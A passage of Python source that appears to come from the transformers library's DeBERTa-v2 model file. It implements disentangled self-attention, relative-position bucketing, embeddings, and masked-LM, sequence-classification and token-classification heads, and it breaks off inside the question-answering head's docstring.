enumerate(self.layer): if output_hidden_states: all_hidden_states = all_hidden_states + (output_states,) output_states = layer_module( next_kv, attention_mask, output_attentions, query_states=query_states, relative_pos=relative_pos, rel_embeddings=rel_embeddings, ) if output_attentions: output_states, att_m = output_states if i == 0 and self.conv is not None: output_states = self.conv(hidden_states, output_states, input_mask) if query_states is not None: query_states = output_states if isinstance(hidden_states, Sequence): next_kv = hidden_states[i + 1] if i + 1 < len(self.layer) else None else: next_kv = output_states if output_attentions: all_attentions = all_attentions + (att_m,) if output_hidden_states: all_hidden_states = all_hidden_states + (output_states,) if not return_dict: return tuple(v for v in [output_states, all_hidden_states, all_attentions] if v is not None) return BaseModelOutput( last_hidden_state=output_states, hidden_states=all_hidden_states, attentions=all_attentions ) def make_log_bucket_position(relative_pos, bucket_size, max_position): sign = np.sign(relative_pos) mid = bucket_size // 2 abs_pos = np.where((relative_pos < mid) & (relative_pos > -mid), mid - 1, np.abs(relative_pos)) log_pos = np.ceil(np.log(abs_pos / mid) / np.log((max_position - 1) / mid) * (mid - 1)) + mid bucket_pos = np.where(abs_pos <= mid, relative_pos, log_pos * sign).astype(np.int) return bucket_pos def build_relative_position(query_size, key_size, bucket_size=-1, max_position=-1): """ Build relative position according to the query and key We assume the absolute position of query :math:`P_q` is range from (0, query_size) and the absolute position of key :math:`P_k` is range from (0, key_size), The relative positions from query to key is :math:`R_{q \\rightarrow k} = P_q - P_k` Args: query_size (int): the length of query key_size (int): the length of key bucket_size (int): the size of position bucket max_position (int): the maximum allowed absolute position Return: :obj:`torch.LongTensor`: A tensor with shape [1, query_size, key_size] """ q_ids = np.arange(0, query_size) k_ids = np.arange(0, key_size) rel_pos_ids = q_ids[:, None] - np.tile(k_ids, (q_ids.shape[0], 1)) if bucket_size > 0 and max_position > 0: rel_pos_ids = make_log_bucket_position(rel_pos_ids, bucket_size, max_position) rel_pos_ids = torch.tensor(rel_pos_ids, dtype=torch.long) rel_pos_ids = rel_pos_ids[:query_size, :] rel_pos_ids = rel_pos_ids.unsqueeze(0) return rel_pos_ids @torch.jit.script # Copied from transformers.models.deberta.modeling_deberta.c2p_dynamic_expand def c2p_dynamic_expand(c2p_pos, query_layer, relative_pos): return c2p_pos.expand([query_layer.size(0), query_layer.size(1), query_layer.size(2), relative_pos.size(-1)]) @torch.jit.script # Copied from transformers.models.deberta.modeling_deberta.p2c_dynamic_expand def p2c_dynamic_expand(c2p_pos, query_layer, key_layer): return c2p_pos.expand([query_layer.size(0), query_layer.size(1), key_layer.size(-2), key_layer.size(-2)]) @torch.jit.script # Copied from transformers.models.deberta.modeling_deberta.pos_dynamic_expand def pos_dynamic_expand(pos_index, p2c_att, key_layer): return pos_index.expand(p2c_att.size()[:2] + (pos_index.size(-2), key_layer.size(-2))) class DisentangledSelfAttention(torch.nn.Module): """ Disentangled self-attention module Parameters: config (:obj:`DebertaV2Config`): A model config class instance with the configuration to build a new model. The schema is similar to `BertConfig`, for more details, please refer :class:`~transformers.DebertaV2Config` """ def __init__(self, config): super().__init__() if config.hidden_size % config.num_attention_heads != 0: raise ValueError( f"The hidden size ({config.hidden_size}) is not a multiple of the number of attention " f"heads ({config.num_attention_heads})" ) self.num_attention_heads = config.num_attention_heads _attention_head_size = config.hidden_size // config.num_attention_heads self.attention_head_size = getattr(config, "attention_head_size", _attention_head_size) self.all_head_size = self.num_attention_heads * self.attention_head_size self.query_proj = nn.Linear(config.hidden_size, self.all_head_size, bias=True) self.key_proj = nn.Linear(config.hidden_size, self.all_head_size, bias=True) self.value_proj = nn.Linear(config.hidden_size, self.all_head_size, bias=True) self.share_att_key = getattr(config, "share_att_key", False) self.pos_att_type = config.pos_att_type if config.pos_att_type is not None else [] self.relative_attention = getattr(config, "relative_attention", False) if self.relative_attention: self.position_buckets = getattr(config, "position_buckets", -1) self.max_relative_positions = getattr(config, "max_relative_positions", -1) if self.max_relative_positions < 1: self.max_relative_positions = config.max_position_embeddings self.pos_ebd_size = self.max_relative_positions if self.position_buckets > 0: self.pos_ebd_size = self.position_buckets self.pos_dropout = StableDropout(config.hidden_dropout_prob) if not self.share_att_key: if "c2p" in self.pos_att_type or "p2p" in self.pos_att_type: self.pos_key_proj = nn.Linear(config.hidden_size, self.all_head_size, bias=True) if "p2c" in self.pos_att_type or "p2p" in self.pos_att_type: self.pos_query_proj = nn.Linear(config.hidden_size, self.all_head_size) self.dropout = StableDropout(config.attention_probs_dropout_prob) def transpose_for_scores(self, x, attention_heads): new_x_shape = x.size()[:-1] + (attention_heads, -1) x = x.view(*new_x_shape) return x.permute(0, 2, 1, 3).contiguous().view(-1, x.size(1), x.size(-1)) def forward( self, hidden_states, attention_mask, return_att=False, query_states=None, relative_pos=None, rel_embeddings=None, ): """ Call the module Args: hidden_states (:obj:`torch.FloatTensor`): Input states to the module usually the output from previous layer, it will be the Q,K and V in `Attention(Q,K,V)` attention_mask (:obj:`torch.ByteTensor`): An attention mask matrix of shape [`B`, `N`, `N`] where `B` is the batch size, `N` is the maximum sequence length in which element [i,j] = `1` means the `i` th token in the input can attend to the `j` th token. return_att (:obj:`bool`, optional): Whether return the attention matrix. query_states (:obj:`torch.FloatTensor`, optional): The `Q` state in `Attention(Q,K,V)`. relative_pos (:obj:`torch.LongTensor`): The relative position encoding between the tokens in the sequence. It's of shape [`B`, `N`, `N`] with values ranging in [`-max_relative_positions`, `max_relative_positions`]. rel_embeddings (:obj:`torch.FloatTensor`): The embedding of relative distances. It's a tensor of shape [:math:`2 \\times \\text{max_relative_positions}`, `hidden_size`]. """ if query_states is None: query_states = hidden_states query_layer = self.transpose_for_scores(self.query_proj(query_states), self.num_attention_heads) key_layer = self.transpose_for_scores(self.key_proj(hidden_states), self.num_attention_heads) value_layer = self.transpose_for_scores(self.value_proj(hidden_states), self.num_attention_heads) rel_att = None # Take the dot product between "query" and "key" to get the raw attention scores. scale_factor = 1 if "c2p" in self.pos_att_type: scale_factor += 1 if "p2c" in self.pos_att_type: scale_factor += 1 if "p2p" in self.pos_att_type: scale_factor += 1 scale = math.sqrt(query_layer.size(-1) * scale_factor) attention_scores = torch.bmm(query_layer, key_layer.transpose(-1, -2)) / scale if self.relative_attention: rel_embeddings = self.pos_dropout(rel_embeddings) rel_att = self.disentangled_attention_bias( query_layer, key_layer, relative_pos, rel_embeddings, scale_factor ) if rel_att is not None: attention_scores = attention_scores + rel_att attention_scores = attention_scores attention_scores = attention_scores.view( -1, self.num_attention_heads, attention_scores.size(-2), attention_scores.size(-1) ) # bsz x height x length x dimension attention_probs = XSoftmax.apply(attention_scores, attention_mask, -1) attention_probs = self.dropout(attention_probs) context_layer = torch.bmm( attention_probs.view(-1, attention_probs.size(-2), attention_probs.size(-1)), value_layer ) context_layer = ( context_layer.view(-1, self.num_attention_heads, context_layer.size(-2), context_layer.size(-1)) .permute(0, 2, 1, 3) .contiguous() ) new_context_layer_shape = context_layer.size()[:-2] + (-1,) context_layer = context_layer.view(*new_context_layer_shape) if return_att: return (context_layer, attention_probs) else: return context_layer def disentangled_attention_bias(self, query_layer, key_layer, relative_pos, rel_embeddings, scale_factor): if relative_pos is None: q = query_layer.size(-2) relative_pos = build_relative_position( q, key_layer.size(-2), bucket_size=self.position_buckets, max_position=self.max_relative_positions ) if relative_pos.dim() == 2: relative_pos = relative_pos.unsqueeze(0).unsqueeze(0) elif relative_pos.dim() == 3: relative_pos = relative_pos.unsqueeze(1) # bsz x height x query x key elif relative_pos.dim() != 4: raise ValueError(f"Relative position ids must be of dim 2 or 3 or 4. {relative_pos.dim()}") att_span = self.pos_ebd_size relative_pos = relative_pos.long().to(query_layer.device) rel_embeddings = rel_embeddings[self.pos_ebd_size - att_span : self.pos_ebd_size + att_span, :].unsqueeze(0) if self.share_att_key: pos_query_layer = self.transpose_for_scores( self.query_proj(rel_embeddings), self.num_attention_heads ).repeat(query_layer.size(0) // self.num_attention_heads, 1, 1) pos_key_layer = self.transpose_for_scores(self.key_proj(rel_embeddings), self.num_attention_heads).repeat( query_layer.size(0) // self.num_attention_heads, 1, 1 ) else: if "c2p" in self.pos_att_type or "p2p" in self.pos_att_type: pos_key_layer = self.transpose_for_scores( self.pos_key_proj(rel_embeddings), self.num_attention_heads ).repeat( query_layer.size(0) // self.num_attention_heads, 1, 1 ) # .split(self.all_head_size, dim=-1) if "p2c" in self.pos_att_type or "p2p" in self.pos_att_type: pos_query_layer = self.transpose_for_scores( self.pos_query_proj(rel_embeddings), self.num_attention_heads ).repeat( query_layer.size(0) // self.num_attention_heads, 1, 1 ) # .split(self.all_head_size, dim=-1) score = 0 # content->position if "c2p" in self.pos_att_type: scale = math.sqrt(pos_key_layer.size(-1) * scale_factor) c2p_att = torch.bmm(query_layer, pos_key_layer.transpose(-1, -2)) c2p_pos = torch.clamp(relative_pos + att_span, 0, att_span * 2 - 1) c2p_att = torch.gather( c2p_att, dim=-1, index=c2p_pos.squeeze(0).expand([query_layer.size(0), query_layer.size(1), relative_pos.size(-1)]), ) score += c2p_att / scale # position->content if "p2c" in self.pos_att_type or "p2p" in self.pos_att_type: scale = math.sqrt(pos_query_layer.size(-1) * scale_factor) if key_layer.size(-2) != query_layer.size(-2): r_pos = build_relative_position( key_layer.size(-2), key_layer.size(-2), bucket_size=self.position_buckets, max_position=self.max_relative_positions, ).to(query_layer.device) r_pos = r_pos.unsqueeze(0) else: r_pos = relative_pos p2c_pos = torch.clamp(-r_pos + att_span, 0, att_span * 2 - 1) if query_layer.size(-2) != key_layer.size(-2): pos_index = relative_pos[:, :, :, 0].unsqueeze(-1) if "p2c" in self.pos_att_type: p2c_att = torch.bmm(key_layer, pos_query_layer.transpose(-1, -2)) p2c_att = torch.gather( p2c_att, dim=-1, index=p2c_pos.squeeze(0).expand([query_layer.size(0), key_layer.size(-2), key_layer.size(-2)]), ).transpose(-1, -2) if query_layer.size(-2) != key_layer.size(-2): p2c_att = torch.gather( p2c_att, dim=-2, index=pos_index.expand(p2c_att.size()[:2] + (pos_index.size(-2), key_layer.size(-2))), ) score += p2c_att / scale # position->position if "p2p" in self.pos_att_type: pos_query = pos_query_layer[:, :, att_span:, :] p2p_att = torch.matmul(pos_query, pos_key_layer.transpose(-1, -2)) p2p_att = p2p_att.expand(query_layer.size()[:2] + p2p_att.size()[2:]) if query_layer.size(-2) != key_layer.size(-2): p2p_att = torch.gather( p2p_att, dim=-2, index=pos_index.expand(query_layer.size()[:2] + (pos_index.size(-2), p2p_att.size(-1))), ) p2p_att = torch.gather( p2p_att, dim=-1, index=c2p_pos.expand( [query_layer.size(0), query_layer.size(1), query_layer.size(2), relative_pos.size(-1)] ), ) score += p2p_att return score # Copied from transformers.models.deberta.modeling_deberta.DebertaEmbeddings with DebertaLayerNorm->LayerNorm class DebertaV2Embeddings(nn.Module): """Construct the embeddings from word, position and token_type embeddings.""" def __init__(self, config): super().__init__() pad_token_id = getattr(config, "pad_token_id", 0) self.embedding_size = getattr(config, "embedding_size", config.hidden_size) self.word_embeddings = nn.Embedding(config.vocab_size, self.embedding_size, padding_idx=pad_token_id) self.position_biased_input = getattr(config, "position_biased_input", True) if not self.position_biased_input: self.position_embeddings = None else: self.position_embeddings = nn.Embedding(config.max_position_embeddings, self.embedding_size) if config.type_vocab_size > 0: self.token_type_embeddings = nn.Embedding(config.type_vocab_size, self.embedding_size) if self.embedding_size != config.hidden_size: self.embed_proj = nn.Linear(self.embedding_size, config.hidden_size, bias=False) self.LayerNorm = LayerNorm(config.hidden_size, config.layer_norm_eps) self.dropout = StableDropout(config.hidden_dropout_prob) self.config = config # position_ids (1, len position emb) is contiguous in memory and exported when serialized self.register_buffer("position_ids", torch.arange(config.max_position_embeddings).expand((1, -1))) def forward(self, input_ids=None, token_type_ids=None, position_ids=None, mask=None, inputs_embeds=None): if input_ids is not None: input_shape = input_ids.size() else: input_shape = inputs_embeds.size()[:-1] seq_length = input_shape[1] if position_ids is None: position_ids = self.position_ids[:, :seq_length] if token_type_ids is None: token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=self.position_ids.device) if inputs_embeds is None: inputs_embeds = self.word_embeddings(input_ids) if self.position_embeddings is not None: position_embeddings = self.position_embeddings(position_ids.long()) else: position_embeddings = torch.zeros_like(inputs_embeds) embeddings = inputs_embeds if self.position_biased_input: embeddings += position_embeddings if self.config.type_vocab_size > 0: token_type_embeddings = self.token_type_embeddings(token_type_ids) embeddings += token_type_embeddings if self.embedding_size != self.config.hidden_size: embeddings = self.embed_proj(embeddings) embeddings = self.LayerNorm(embeddings) if mask is not None: if mask.dim() != embeddings.dim(): if mask.dim() == 4: mask = mask.squeeze(1).squeeze(1) mask = mask.unsqueeze(2) mask = mask.to(embeddings.dtype) embeddings = embeddings * mask embeddings = self.dropout(embeddings) return embeddings # Copied from transformers.models.deberta.modeling_deberta.DebertaPreTrainedModel with Deberta->DebertaV2 class DebertaV2PreTrainedModel(PreTrainedModel): """ An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained models. """ config_class = DebertaV2Config base_model_prefix = "deberta" _keys_to_ignore_on_load_missing = ["position_ids"] _keys_to_ignore_on_load_unexpected = ["position_embeddings"] def __init__(self, config): super().__init__(config) self._register_load_state_dict_pre_hook(self._pre_load_hook) def _init_weights(self, module): """Initialize the weights.""" if isinstance(module, nn.Linear): # Slightly different from the TF version which uses truncated_normal for initialization # cf https://github.com/pytorch/pytorch/pull/5617 module.weight.data.normal_(mean=0.0, std=self.config.initializer_range) if module.bias is not None: module.bias.data.zero_() elif isinstance(module, nn.Embedding): module.weight.data.normal_(mean=0.0, std=self.config.initializer_range) if module.padding_idx is not None: module.weight.data[module.padding_idx].zero_() def _pre_load_hook(self, state_dict, prefix, local_metadata, strict, missing_keys, unexpected_keys, error_msgs): """ Removes the classifier if it doesn't have the correct number of labels. """ self_state = self.state_dict() if ( ("classifier.weight" in self_state) and ("classifier.weight" in state_dict) and self_state["classifier.weight"].size() != state_dict["classifier.weight"].size() ): logger.warning( f"The checkpoint classifier head has a shape {state_dict['classifier.weight'].size()} and this model " f"classifier head has a shape {self_state['classifier.weight'].size()}. Ignoring the checkpoint " f"weights. You should train your model on new data." ) del state_dict["classifier.weight"] if "classifier.bias" in state_dict: del state_dict["classifier.bias"] DEBERTA_START_DOCSTRING = r""" The DeBERTa model was proposed in `DeBERTa: Decoding-enhanced BERT with Disentangled Attention <https://arxiv.org/abs/2006.03654>`_ by Pengcheng He, Xiaodong Liu, Jianfeng Gao, Weizhu Chen. It's build on top of BERT/RoBERTa with two improvements, i.e. disentangled attention and enhanced mask decoder. With those two improvements, it out perform BERT/RoBERTa on a majority of tasks with 80GB pretraining data. This model is also a PyTorch `torch.nn.Module <https://pytorch.org/docs/stable/nn.html#torch.nn.Module>`__ subclass. Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general usage and behavior.``` Parameters: config (:class:`~transformers.DebertaV2Config`): Model configuration class with all the parameters of the model. Initializing with a config file does not load the weights associated with the model, only the configuration. Check out the :meth:`~transformers.PreTrainedModel.from_pretrained` method to load the model weights. """ DEBERTA_INPUTS_DOCSTRING = r""" Args: input_ids (:obj:`torch.LongTensor` of shape :obj:`{0}`): Indices of input sequence tokens in the vocabulary. Indices can be obtained using :class:`transformers.DebertaV2Tokenizer`. See :func:`transformers.PreTrainedTokenizer.encode` and :func:`transformers.PreTrainedTokenizer.__call__` for details. `What are input IDs? <../glossary.html#input-ids>`__ attention_mask (:obj:`torch.FloatTensor` of shape :obj:`{0}`, `optional`): Mask to avoid performing attention on padding token indices. Mask values selected in ``[0, 1]``: - 1 for tokens that are **not masked**, - 0 for tokens that are **masked**. `What are attention masks? <../glossary.html#attention-mask>`__ token_type_ids (:obj:`torch.LongTensor` of shape :obj:`{0}`, `optional`): Segment token indices to indicate first and second portions of the inputs. Indices are selected in ``[0, 1]``: - 0 corresponds to a `sentence A` token, - 1 corresponds to a `sentence B` token. `What are token type IDs? <../glossary.html#token-type-ids>`_ position_ids (:obj:`torch.LongTensor` of shape :obj:`{0}`, `optional`): Indices of positions of each input sequence tokens in the position embeddings. Selected in the range ``[0, config.max_position_embeddings - 1]``. `What are position IDs? <../glossary.html#position-ids>`_ inputs_embeds (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`): Optionally, instead of passing :obj:`input_ids` you can choose to directly pass an embedded representation. This is useful if you want more control over how to convert `input_ids` indices into associated vectors than the model's internal embedding lookup matrix. output_attentions (:obj:`bool`, `optional`): Whether or not to return the attentions tensors of all attention layers. See ``attentions`` under returned tensors for more detail. output_hidden_states (:obj:`bool`, `optional`): Whether or not to return the hidden states of all layers. See ``hidden_states`` under returned tensors for more detail. return_dict (:obj:`bool`, `optional`): Whether or not to return a :class:`~transformers.file_utils.ModelOutput` instead of a plain tuple. """ @add_start_docstrings( "The bare DeBERTa Model transformer outputting raw hidden-states without any specific head on top.", DEBERTA_START_DOCSTRING, ) # Copied from transformers.models.deberta.modeling_deberta.DebertaModel with Deberta->DebertaV2 class DebertaV2Model(DebertaV2PreTrainedModel): def __init__(self, config): super().__init__(config) self.embeddings = DebertaV2Embeddings(config) self.encoder = DebertaV2Encoder(config) self.z_steps = 0 self.config = config self.init_weights() def get_input_embeddings(self): return self.embeddings.word_embeddings def set_input_embeddings(self, new_embeddings): self.embeddings.word_embeddings = new_embeddings def _prune_heads(self, heads_to_prune): """ Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base class PreTrainedModel """ raise NotImplementedError("The prune function is not implemented in DeBERTa model.") @add_start_docstrings_to_model_forward(DEBERTA_INPUTS_DOCSTRING.format("batch_size, sequence_length")) @add_code_sample_docstrings( tokenizer_class=_TOKENIZER_FOR_DOC, checkpoint=_CHECKPOINT_FOR_DOC, output_type=SequenceClassifierOutput, config_class=_CONFIG_FOR_DOC, ) def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, inputs_embeds=None, output_attentions=None, output_hidden_states=None, return_dict=None, ): output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions output_hidden_states = ( output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states ) return_dict = return_dict if return_dict is not None else self.config.use_return_dict if input_ids is not None and inputs_embeds is not None: raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time") elif input_ids is not None: input_shape = input_ids.size() elif inputs_embeds is not None: input_shape = inputs_embeds.size()[:-1] else: raise ValueError("You have to specify either input_ids or inputs_embeds") device = input_ids.device if input_ids is not None else inputs_embeds.device if attention_mask is None: attention_mask = torch.ones(input_shape, device=device) if token_type_ids is None: token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=device) embedding_output = self.embeddings( input_ids=input_ids, token_type_ids=token_type_ids, position_ids=position_ids, mask=attention_mask, inputs_embeds=inputs_embeds, ) encoder_outputs = self.encoder( embedding_output, attention_mask, output_hidden_states=True, output_attentions=output_attentions, return_dict=return_dict, ) encoded_layers = encoder_outputs[1] if self.z_steps > 1: hidden_states = encoded_layers[-2] layers = [self.encoder.layer[-1] for _ in range(self.z_steps)] query_states = encoded_layers[-1] rel_embeddings = self.encoder.get_rel_embedding() attention_mask = self.encoder.get_attention_mask(attention_mask) rel_pos = self.encoder.get_rel_pos(embedding_output) for layer in layers[1:]: query_states = layer( hidden_states, attention_mask, return_att=False, query_states=query_states, relative_pos=rel_pos, rel_embeddings=rel_embeddings, ) encoded_layers.append(query_states) sequence_output = encoded_layers[-1] if not return_dict: return (sequence_output,) + encoder_outputs[(1 if output_hidden_states else 2) :] return BaseModelOutput( last_hidden_state=sequence_output, hidden_states=encoder_outputs.hidden_states if output_hidden_states else None, attentions=encoder_outputs.attentions, ) @add_start_docstrings("""DeBERTa Model with a `language modeling` head on top. """, DEBERTA_START_DOCSTRING) # Copied from transformers.models.deberta.modeling_deberta.DebertaForMaskedLM with Deberta->DebertaV2 class DebertaV2ForMaskedLM(DebertaV2PreTrainedModel): _keys_to_ignore_on_load_unexpected = [r"pooler"] _keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias"] def __init__(self, config): super().__init__(config) self.deberta = DebertaV2Model(config) self.cls = DebertaV2OnlyMLMHead(config) self.init_weights() def get_output_embeddings(self): return self.cls.predictions.decoder def set_output_embeddings(self, new_embeddings): self.cls.predictions.decoder = new_embeddings @add_start_docstrings_to_model_forward(DEBERTA_INPUTS_DOCSTRING.format("batch_size, sequence_length")) @add_code_sample_docstrings( tokenizer_class=_TOKENIZER_FOR_DOC, checkpoint=_CHECKPOINT_FOR_DOC, output_type=MaskedLMOutput, config_class=_CONFIG_FOR_DOC, ) def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, inputs_embeds=None, labels=None, output_attentions=None, output_hidden_states=None, return_dict=None, ): r""" labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`): Labels for computing the masked language modeling loss. Indices should be in ``[-100, 0, ..., config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are ignored (masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]`` """ return_dict = return_dict if return_dict is not None else self.config.use_return_dict outputs = self.deberta( input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, inputs_embeds=inputs_embeds, output_attentions=output_attentions, output_hidden_states=output_hidden_states, return_dict=return_dict, ) sequence_output = outputs[0] prediction_scores = self.cls(sequence_output) masked_lm_loss = None if labels is not None: loss_fct = CrossEntropyLoss() # -100 index = padding token masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1)) if not return_dict: output = (prediction_scores,) + outputs[1:] return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output return MaskedLMOutput( loss=masked_lm_loss, logits=prediction_scores, hidden_states=outputs.hidden_states, attentions=outputs.attentions, ) # copied from transformers.models.bert.BertPredictionHeadTransform with bert -> deberta class DebertaV2PredictionHeadTransform(nn.Module): def __init__(self, config): super().__init__() self.dense = nn.Linear(config.hidden_size, config.hidden_size) if isinstance(config.hidden_act, str): self.transform_act_fn = ACT2FN[config.hidden_act] else: self.transform_act_fn = config.hidden_act self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps) def forward(self, hidden_states): hidden_states = self.dense(hidden_states) hidden_states = self.transform_act_fn(hidden_states) hidden_states = self.LayerNorm(hidden_states) return hidden_states # copied from transformers.models.bert.BertLMPredictionHead with bert -> deberta class DebertaV2LMPredictionHead(nn.Module): def __init__(self, config): super().__init__() self.transform = DebertaV2PredictionHeadTransform(config) # The output weights are the same as the input embeddings, but there is # an output-only bias for each token. self.decoder = nn.Linear(config.hidden_size, config.vocab_size, bias=False) self.bias = nn.Parameter(torch.zeros(config.vocab_size)) # Need a link between the two variables so that the bias is correctly resized with `resize_token_embeddings` self.decoder.bias = self.bias def forward(self, hidden_states): hidden_states = self.transform(hidden_states) hidden_states = self.decoder(hidden_states) return hidden_states # copied from transformers.models.bert.BertOnlyMLMHead with bert -> deberta class DebertaV2OnlyMLMHead(nn.Module): def __init__(self, config): super().__init__() self.predictions = DebertaV2LMPredictionHead(config) def forward(self, sequence_output): prediction_scores = self.predictions(sequence_output) return prediction_scores @add_start_docstrings( """ DeBERTa Model transformer with a sequence classification/regression head on top (a linear layer on top of the pooled output) e.g. for GLUE tasks. """, DEBERTA_START_DOCSTRING, ) # Copied from transformers.models.deberta.modeling_deberta.DebertaForSequenceClassification with Deberta->DebertaV2 class DebertaV2ForSequenceClassification(DebertaV2PreTrainedModel): def __init__(self, config): super().__init__(config) num_labels = getattr(config, "num_labels", 2) self.num_labels = num_labels self.deberta = DebertaV2Model(config) self.pooler = ContextPooler(config) output_dim = self.pooler.output_dim self.classifier = torch.nn.Linear(output_dim, num_labels) drop_out = getattr(config, "cls_dropout", None) drop_out = self.config.hidden_dropout_prob if drop_out is None else drop_out self.dropout = StableDropout(drop_out) self.init_weights() def get_input_embeddings(self): return self.deberta.get_input_embeddings() def set_input_embeddings(self, new_embeddings): self.deberta.set_input_embeddings(new_embeddings) @add_start_docstrings_to_model_forward(DEBERTA_INPUTS_DOCSTRING.format("batch_size, sequence_length")) @add_code_sample_docstrings( tokenizer_class=_TOKENIZER_FOR_DOC, checkpoint=_CHECKPOINT_FOR_DOC, output_type=SequenceClassifierOutput, config_class=_CONFIG_FOR_DOC, ) def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, inputs_embeds=None, labels=None, output_attentions=None, output_hidden_states=None, return_dict=None, ): r""" labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`): Labels for computing the sequence classification/regression loss. Indices should be in :obj:`[0, ..., config.num_labels - 1]`. If :obj:`config.num_labels == 1` a regression loss is computed (Mean-Square loss), If :obj:`config.num_labels > 1` a classification loss is computed (Cross-Entropy). """ return_dict = return_dict if return_dict is not None else self.config.use_return_dict outputs = self.deberta( input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask, position_ids=position_ids, inputs_embeds=inputs_embeds, output_attentions=output_attentions, output_hidden_states=output_hidden_states, return_dict=return_dict, ) encoder_layer = outputs[0] pooled_output = self.pooler(encoder_layer) pooled_output = self.dropout(pooled_output) logits = self.classifier(pooled_output) loss = None if labels is not None: if self.num_labels == 1: # regression task loss_fn = torch.nn.MSELoss() logits = logits.view(-1).to(labels.dtype) loss = loss_fn(logits, labels.view(-1)) elif labels.dim() == 1 or labels.size(-1) == 1: label_index = (labels >= 0).nonzero() labels = labels.long() if label_index.size(0) > 0: labeled_logits = torch.gather(logits, 0, label_index.expand(label_index.size(0), logits.size(1))) labels = torch.gather(labels, 0, label_index.view(-1)) loss_fct = CrossEntropyLoss() loss = loss_fct(labeled_logits.view(-1, self.num_labels).float(), labels.view(-1)) else: loss = torch.tensor(0).to(logits) else: log_softmax = torch.nn.LogSoftmax(-1) loss = -((log_softmax(logits) * labels).sum(-1)).mean() if not return_dict: output = (logits,) + outputs[1:] return ((loss,) + output) if loss is not None else output else: return SequenceClassifierOutput( loss=loss, logits=logits, hidden_states=outputs.hidden_states, attentions=outputs.attentions, ) @add_start_docstrings( """ DeBERTa Model with a token classification head on top (a linear layer on top of the hidden-states output) e.g. for Named-Entity-Recognition (NER) tasks. """, DEBERTA_START_DOCSTRING, ) # Copied from transformers.models.deberta.modeling_deberta.DebertaForTokenClassification with Deberta->DebertaV2 class DebertaV2ForTokenClassification(DebertaV2PreTrainedModel): _keys_to_ignore_on_load_unexpected = [r"pooler"] def __init__(self, config): super().__init__(config) self.num_labels = config.num_labels self.deberta = DebertaV2Model(config) self.dropout = nn.Dropout(config.hidden_dropout_prob) self.classifier = nn.Linear(config.hidden_size, config.num_labels) self.init_weights() @add_start_docstrings_to_model_forward(DEBERTA_INPUTS_DOCSTRING.format("batch_size, sequence_length")) @add_code_sample_docstrings( tokenizer_class=_TOKENIZER_FOR_DOC, checkpoint=_CHECKPOINT_FOR_DOC, output_type=TokenClassifierOutput, config_class=_CONFIG_FOR_DOC, ) def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, inputs_embeds=None, labels=None, output_attentions=None, output_hidden_states=None, return_dict=None, ): r""" labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`): Labels for computing the token classification loss. Indices should be in ``[0, ..., config.num_labels - 1]``. """ return_dict = return_dict if return_dict is not None else self.config.use_return_dict outputs = self.deberta( input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, inputs_embeds=inputs_embeds, output_attentions=output_attentions, output_hidden_states=output_hidden_states, return_dict=return_dict, ) sequence_output = outputs[0] sequence_output = self.dropout(sequence_output) logits = self.classifier(sequence_output) loss = None if labels is not None: loss_fct = CrossEntropyLoss() # Only keep active parts of the loss if attention_mask is not None: active_loss = attention_mask.view(-1) == 1 active_logits = logits.view(-1, self.num_labels) active_labels = torch.where( active_loss, labels.view(-1), torch.tensor(loss_fct.ignore_index).type_as(labels) ) loss = loss_fct(active_logits, active_labels) else: loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1)) if not return_dict: output = (logits,) + outputs[1:] return ((loss,) + output) if loss is not None else output return TokenClassifierOutput( loss=loss, logits=logits, hidden_states=outputs.hidden_states, attentions=outputs.attentions, ) @add_start_docstrings( """ DeBERTa Model with a span classification head on top for extractive question-answering tasks like SQuAD (a linear layers on top of the hidden-states output to compute `span start logits` and `span end logits`). """, DEBERTA_START_DOCSTRING, ) # Copied from transformers.models.deberta.modeling_deberta.DebertaForQuestionAnswering with Deberta->DebertaV2 class DebertaV2ForQuestionAnswering(DebertaV2PreTrainedModel): _keys_to_ignore_on_load_unexpected = [r"pooler"] def __init__(self, config): super().__init__(config) self.num_labels = config.num_labels self.deberta = DebertaV2Model(config) self.qa_outputs = nn.Linear(config.hidden_size, config.num_labels) self.init_weights() @add_start_docstrings_to_model_forward(DEBERTA_INPUTS_DOCSTRING.format("batch_size, sequence_length")) @add_code_sample_docstrings( tokenizer_class=_TOKENIZER_FOR_DOC, checkpoint=_CHECKPOINT_FOR_DOC, output_type=QuestionAnsweringModelOutput, config_class=_CONFIG_FOR_DOC, ) def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, inputs_embeds=None, start_positions=None, end_positions=None, output_attentions=None, output_hidden_states=None, return_dict=None, ): r""" start_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`): Labels for position (index) of the start of the labelled span for computing the token classification loss. Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the sequence are not taken into account for computing the loss. end_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`): Labels for position (index) of the end of the labelled span for computing the token classification loss. Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the sequence are not taken into account for 